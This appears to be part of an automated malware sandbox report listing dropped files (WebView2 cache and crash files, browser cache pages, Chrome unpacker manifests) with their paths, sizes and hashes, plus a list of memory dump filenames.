Path C:\Users\Admin\AppData\Local\KXExternal\WebView2\EBWebView\Crashpad\settings.dat
Size 280B
SHA256 0344c48c9a4c6f37134390f20b7d605084ecb67a7ed80abf78c689b9559829f0
MD5 f28a8b2f3d9dea803f666a800349efaa
SHA1 3cc2802ecbf7f19a49a1332a2944ec9b986f07de
SHA512 5b37e18587c573123fdfc0066d783efbe245161ac8b53efc03fd6e3ebb9b68f5c0b23b62049ffdbf3a3743d559a334b9fb0fa85cb8a6dccb9cbb062c1f4f5368
MD5 SHA1 SHA512

Submit Download

throttle_store.dat

Path C:\Users\Admin\AppData\Local\KXExternal\WebView2\EBWebView\Crashpad\throttle_store.dat
Size 20B
SHA256 41c91a9c93d76295746a149dce7ebb3b9ee2cb551d84365fff108e59a61cc304
MD5 9e4e94633b73f4a7680240a0ffd6cd2c
SHA1 e68e02453ce22736169a56fdb59043d33668368f
SHA512 193011a756b2368956c71a9a3ae8bc9537d99f52218f124b2e64545eeb5227861d372639052b74d0dd956cb33ca72a9107e069f1ef332b9645044849d14af337
MD5 SHA1 SHA512

Submit Download

2d177123-6742-40e6-a57a-2adeaa855697.tmp

Path C:\Users\Admin\AppData\Local\KXExternal\WebView2\EBWebView\Default\2d177123-6742-40e6-a57a-2adeaa855697.tmp
Size 5KB
SHA256 33ef46e0a9ff30bd6f8e64cf39f0026343ca8c9af079a504b3940f906122ec3a
MD5 19f53be2719ea588a6ef09b0099389fe
SHA1 3c4734b9fd476bef4469b35524bc6aef4ffddca4
SHA512 7be19b4079a7b77456155eab42b46a15c2da566209ae8450497eb71eb0e2cad65cc4d9036de31f1bd9f9223151483b77b8d95c3c7ba35d1de3e1c807ea35beff
SSDEEP 96:st2+/dEdD9G6SGSb9BkkRo5h16ZZs7/x+6Mhmuecmje1aK+gzaQj+28XM1C7K:sthykNo+sV+Fij8t+G6K
TLSH
T10FC195426E68787B4CCBE519FA297B03E2F9A03271D51E58EBF8462C08DB5DD131790B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

35f86298-8f6a-435c-a1da-104dfd7505c3.tmp

Path C:\Users\Admin\AppData\Local\KXExternal\WebView2\EBWebView\Default\35f86298-8f6a-435c-a1da-104dfd7505c3.tmp
Size 5KB
SHA256 b9c0d1f8a57f723f77734b4dc9098ca87d9dd973ecae402c544ce42137bdb429
MD5 44251b1ba7a37387711fa7139f2d9e3e
SHA1 14f152c7719d4d55584bace501df817e44e31670
SHA512 b17319990dfa791ac4dcae617c87b12ada2ce69399196e6afd3812b844706590f2013f06a1b9303b3d3d0e1db517a13f4065e8bce94773b7399ead6526cde778
SSDEEP 96:st2+/dEdD9G6TSb9BkkRo5h16ZZs7/x+6Mhmuecmje1aK+gzidj+28XM1C7K:sthyyNo+sV+Fij8Y+G6K
TLSH
T1AFC196426E28797B4CCBE519FA397A03E2F9A03270D51E58EBF8462C08DB5DD131790B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

812f1ba7-2eb6-4be8-9ffd-907617b31f81.tmp

Path C:\Users\Admin\AppData\Local\KXExternal\WebView2\EBWebView\Default\Network\812f1ba7-2eb6-4be8-9ffd-907617b31f81.tmp
Size 111B
SHA256 5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026
MD5 285252a2f6327d41eab203dc2f402c67
SHA1 acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6
SHA512 11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d
TLSH
T136B01269E4517CFF074A83A41928F453C3FF0047421C8ABEEA3873AD42A21BD0C28C47
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\KXExternal\WebView2\EBWebView\Default\Network\Network Persistent State
Size 59B
SHA256 226eec4486509917aa336afebd6ff65777b75b65f1fb06891d2a857a9421a974
MD5 2800881c775077e1c4b6e06bf4676de4
SHA1 2873631068c8b3b9495638c865915be822442c8b
SHA512 e342407ab65cc68f1b3fd706cd0a37680a0864ffd30a6539730180ede2cdcd732cc97ae0b9ef7db12da5c0f83e429df0840dbf7596aca859a0301665e517377b
TLSH
T164A0026A99622D881B4A83902B18B547807B0445230982FDE43877A8415616D5C2C855
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\KXExternal\WebView2\EBWebView\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\KXExternal\WebView2\EBWebView\Default\Site Characteristics Database\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\KXExternal\WebView2\EBWebView\Default\Sync Data\LevelDB\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\KXExternal\WebView2\EBWebView\GrShaderCache\data_0
Size 8KB
SHA256 d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
MD5 cf89d16bb9107c631daabf0c0ee58efb
SHA1 3ae5d3a7cf1f94a56e42f9a58d90a0b9616ae74b
SHA512 8cb5b059c8105eb91e74a7d5952437aaa1ada89763c5843e7b0f1b93d9ebe15ed40f287c652229291fac02d712cf7ff5ececef276ba0d7ddc35558a3ec3f77b0
SSDEEP 3:MsFl:/F
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\KXExternal\WebView2\EBWebView\GrShaderCache\data_1
Size 264KB
SHA256 902f30c1fb0597d0734bc34b979ec5d131f8f39a4b71b338083821216ec8d61b
MD5 d0d388f3865d0523e451d6ba0be34cc4
SHA1 8571c6a52aacc2747c048e3419e5657b74612995
SHA512 376011d00de659eb6082a74e862cfac97a9bb508e0b740761505142e2d24ec1c30aa61efbc1c0dd08ff0f34734444de7f77dd90a6ca42b48a4c7fad5f0bddd17
SSDEEP 3:MsEllllkEthXllkl2:/M/xT02
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_2

Path C:\Users\Admin\AppData\Local\KXExternal\WebView2\EBWebView\GrShaderCache\data_2
Size 8KB
SHA256 ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
MD5 0962291d6d367570bee5454721c17e11
SHA1 59d10a893ef321a706a9255176761366115bedcb
SHA512 f555e961b69e09628eaf9c61f465871e6984cd4d31014f954bb747351dad9cea6d17c1db4bca2c1eb7f187cb5f3c0518748c339c8b43bbd1dbd94aeaa16f58ed
SSDEEP 3:MsHlDll:/H
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_3

Path C:\Users\Admin\AppData\Local\KXExternal\WebView2\EBWebView\GrShaderCache\data_3
Size 8KB
SHA256 e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
MD5 41876349cb12d6db992f1309f22df3f0
SHA1 5cf26b3420fc0302cd0a71e8d029739b8765be27
SHA512 e9a4fc1f7cb6ae2901f8e02354a92c4aaa7a53c640dcf692db42a27a5acc2a3bfb25a0de0eb08ab53983132016e7d43132ea4292e439bb636aafd53fb6ef907e
SSDEEP 3:MsGl3ll:/y
MD5 SHA1 SHA512 SSDEEP

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\KXExternal\WebView2\EBWebView\Local State
Size 1KB
SHA256 68b4c5eb091ce5ae0d556dd5f6b33988447b17b9438f446c3e20b85fbbf18b6c
MD5 2882176f867c6d972891a897a8ee76b8
SHA1 ce7d5a48e794e837637284a5427c895fbeaf64ae
SHA512 9c6ae4614aaf87a9e65107c06cc8494b758628f4c2d7fe07f4c37dcd8e7997a38059982c4ae54518bfe77beb6d884820a37503cbc56be16bd265fc8849fd9f52
TLSH
T1C42142F2E9645B339DC5AA8561977B5B6E301073C250CA40A5CE4E2C11E61CDB66A832
MD5 SHA1 SHA512 TLSH

Submit Download

Retev[1].htm

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\2T8DCGKW\Retev[1].htm
Size 56KB
SHA256 999ec76c0eb8fdeebd7d9583eed68c4acf7b983e6d08e086a9bf6f6d81e0f1bd
MD5 e950167b7fb0845be10113967d330d26
SHA1 f6d9c02971073396fd615bb95209f45c022fdebd
SHA512 c89191d2f8c90b7d4c43616b1ec9bd5040953c3042f78b9ad13f96fbe4e6cb433d10cae2c729da29fcee96878a11c7cd17055998c1cf1e1c215328c43a9dbafb
SSDEEP 768:7b8CDi1y33B6H78VNAfRQvpJcOMhcKPPzEOWp54vg5d5YP98yxA1XbXNMkW7rCV0:XD6H78vcjHWp0g5rBSmhJW7rCVoekP
TLSH
T15C430935EA5EB06FD359C834DD470D06CE12BCCA9AA4BB9B57910CD20DEAF609B2D341
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

manifest.json

Path C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4956_1398490130\manifest.json
Size 118B
SHA256 cc33e26f3b2efe862336389207db045cc7a916940213b9d33d845c82c12c8712
MD5 acb0c12cc7e5345764763e37bcebbec8
SHA1 4147b2615955c51a6054c807c2397e4d7d10ee03
SHA512 6777da8af66a77c28049eaf1b49ba7cdfaa08a8f381c27dad4af0e980e8d5a7ea0df0c3f1fd0cbc0cbe93a83a07d130ae24dc4057471de830fac60036b1c2f3a
TLSH
T10EB09222DC80D832697693A84E2246D0F238234B2568AA493630048C0B2E2F182A2721
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4956_1403247351\manifest.json
Size 69B
SHA256 c0622dadf4ec10ce5f4a64e3f24956b750345dcc194d0bd3ff73cfce1bf6081e
MD5 fb0d9796a86299d3689982f7a949dc6e
SHA1 6179cd612ac0dcc44d0659c7c99d1e0aecbf206e
SHA512 e3e1a18be661da9d450a30a37d24dc08dc8de628a104ce0f4197214ce6f27a2bf9de3eca1c1697fcfa3c601787ca7a6b5e30a5fe3d6ae3b2c10f1ab34af22fd0
TLSH
T141A022200C2088FFF200E3CC0020E380CF28A300A2088C0A022220002280CB80200320
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4956_223212209\manifest.json
Size 102B
SHA256 0ed889bea99f74fede865222f4cacca4277c63023db98efa666d42ba1f7f9502
MD5 329ad25b265a82c711c72c02a553a353
SHA1 a9a666d4182caad82edd399fdab141473670c5a7
SHA512 b81005847e76dc513b255b36704dec0ae84c922d23dc152cc42bb3eec9e18cb083e601bb90562b3f3c9b2ac540e801866f59277b9c43c0b97fd3e90b688f26c5
TLSH
T178B01220EC10B4B3000403AC0C6CC3C063372F032C4079180DE59F84E80D9DBE071E29
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1460-2-0x0000000140000000-0x0000000140015000-memory.dmp

Download

memory/1460-1-0x0000000140000000-0x0000000140015000-memory.dmp

Download

memory/1604-305-0x00007FFDCCEE0000-0x00007FFDCCEE1000-memory.dmp

Download

memory/1604-304-0x00007FFDCC1D0000-0x00007FFDCC1D1000-memory.dmp

Download

memory/1820-259-0x000001E1476C0000-0x000001E147DD9000-memory.dmp

Download

memory/1820-263-0x000001E1476C0000-0x000001E147DD9000-memory.dmp

Download

memory/1820-270-0x000001E1476C0000-0x000001E147DD9000-memory.dmp

Download

memory/1820-252-0x000001E147DE0000-0x000001E147DE1000-memory.dmp

Download

memory/1820-268-0x000001E1476C0000-0x000001E147DD9000-memory.dmp

Download

memory/1820-266-0x000001E1476C0000-0x000001E147DD9000-memory.dmp

Download

memory/1820-264-0x000001E1476C0000-0x000001E147DD9000-memory.dmp

Download

memory/1820-262-0x000001E1476C0000-0x000001E147DD9000-memory.dmp

Download

memory/1820-265-0x000001E1476C0000-0x000001E147DD9000-memory.dmp

Download

memory/1820-261-0x000001E1476C0000-0x000001E147DD9000-memory.dmp

Download

memory/1820-269-0x000001E1476C0000-0x000001E147DD9000-memory.dmp

Download

memory/1820-260-0x000001E1476C0000-0x000001E147DD9000-memory.dmp

Download

memory/1820-258-0x000001E1476C0000-0x000001E147DD9000-memory.dmp

Download

memory/1820-253-0x000001E1476C0000-0x000001E147DD9000-memory.dmp

Download

memory/1820-267-0x000001E1476C0000-0x000001E147DD9000-memory.dmp

Download

memory/1820-271-0x000001E1476C0000-0x000001E147DD9000-memory.dmp

Download

memory/1820-272-0x000001E1476C0000-0x000001E147DD9000-memory.dmp

Download

memory/1820-251-0x000001E1476C0000-0x000001E147DD9000-memory.dmp

Download

memory/4848-17-0x0000020DE8820000-0x0000020DE8842000-memory.dmp

Download

memory/4864-0-0x0000000140000000-0x000000014024C000-memory.dmp

Download

memory/4864-233-0x0000000140000000-0x000000014024C000-memory.dmp

Download

memory/5072-86-0x00007FFDCD370000-0x00007FFDCD371000-memory.dmp

Download

memory/5340-392-0x000001A384600000-0x000001A384601000-memory.dmp

Download

memory/5340-390-0x000001A384600000-0x000001A384601000-memory.dmp

Download

memory/5340-399-0x000001A384600000-0x000001A384601000-memory.dmp

Download

memory/5340-401-0x000001A384600000-0x000001A384601000-memory.dmp

Download

memory/5340-400-0x000001A384600000-0x000001A384601000-memory.dmp

Download

memory/5340-398-0x000001A384600000-0x000001A384601000-memory.dmp

Download

memory/5340-396-0x000001A384600000-0x000001A384601000-memory.dmp

Download

memory/5340-397-0x000001A384600000-0x000001A384601000-memory.dmp

Download

memory/5936-58-0x00007FFDCD370000-0x00007FFDCD371000-memory.dmp

Download